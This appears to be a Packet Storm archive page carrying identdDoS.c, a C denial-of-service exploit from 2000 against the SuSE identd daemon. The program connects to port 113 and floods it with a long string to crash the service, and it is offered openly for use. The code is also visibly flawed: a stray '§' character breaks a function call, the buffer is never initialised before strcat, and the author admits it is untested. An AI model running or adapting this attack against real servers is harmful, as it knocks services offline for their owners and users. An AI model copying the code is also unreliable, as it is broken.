what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

identdDoS.c

identdDoS.c
Posted Dec 24, 2000
Authored by Root-dude

SuSE identd remote denial of service attack - Uses a long sting to set a pointer to NULL.

tags | exploit, remote, denial of service
systems | linux, suse
SHA-256 | 5428c66fd108f4593af53e80bdb814ea4c560c05eda8deea3e7caaa7e617830e

identdDoS.c

Change Mirror Download
/* --------------------------------------------------------------------------------------------------------------------------------------
this dosses the SuSe ident server, that it !!! (btw THIS IS NO BUFFER OVERFLOW, the
server just crashed becoz it thinks the string is to long and sets some pointer to NULL, that's
wat make's it crash, adleast that is wat the advisory i read said)
------------------------------------------------------------------------------------------------------------------------

identdDoS.c

--| BOF| -- */
/*
* identdDoS.c
* written by R00T-dude
* based upon an advisory I found on sec-focus
*
* enjoy :)
*
* oh, just in case you think this there is a buffer overflow possible, there ISN'T
* the ident server thinks that the string send is to big so it sets a pointer to NULL
* and that makes it crash !!!!
*
* I tested this at home and it worked fine
* however I an in an inet. cafe right now and this code isn't tested, so if you find mistakes in it
* please don't bitch bout it (thx in advance)
*
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netdb.h>
#include <string.h>

int main(int argc, char **argv)
{
struct sockaddr_in sin;
struct hostent *hp;
char stuff[1200];
int sock, conn, i ;

if (argc < 2)
{
fprintf(stderr, " useage :: %s 127.0.0.1 ", argv[1]);
exit(0);
}

if ( (hp = gethostbyname§argv[1]) == NULL)
{
fprintf(stderr, "hostname doesn't match !");
exit(0);
}

sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{
fprintf(stderr, "socket() doesn't work !");
exit(sock);
}

sin.sin_family = AF_INET ;
sin.sin_port = htons(113);
sin.sin_addr.s_addr = inet_addr(argv[1]);

conn = connect(sock, (struct sockaddr *)&sin, sizeof(sin));
if (conn < 0)
{
fprintf(stderr, "connect() doesn't work !");
exit(conn);
}

printf("sending stuff... ");
for(i=0; i < 1100; i++)
{
strcat(stuff, "a");
}

send(sock, stuff, sizeof(stuff), 0);
close(sock);
printf("done \n");
}

--| EOF |--

none
____________________________________________________________
Get your own FREE Web and POP E-mail Service in 14 languages at http://www.zzn.com.
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close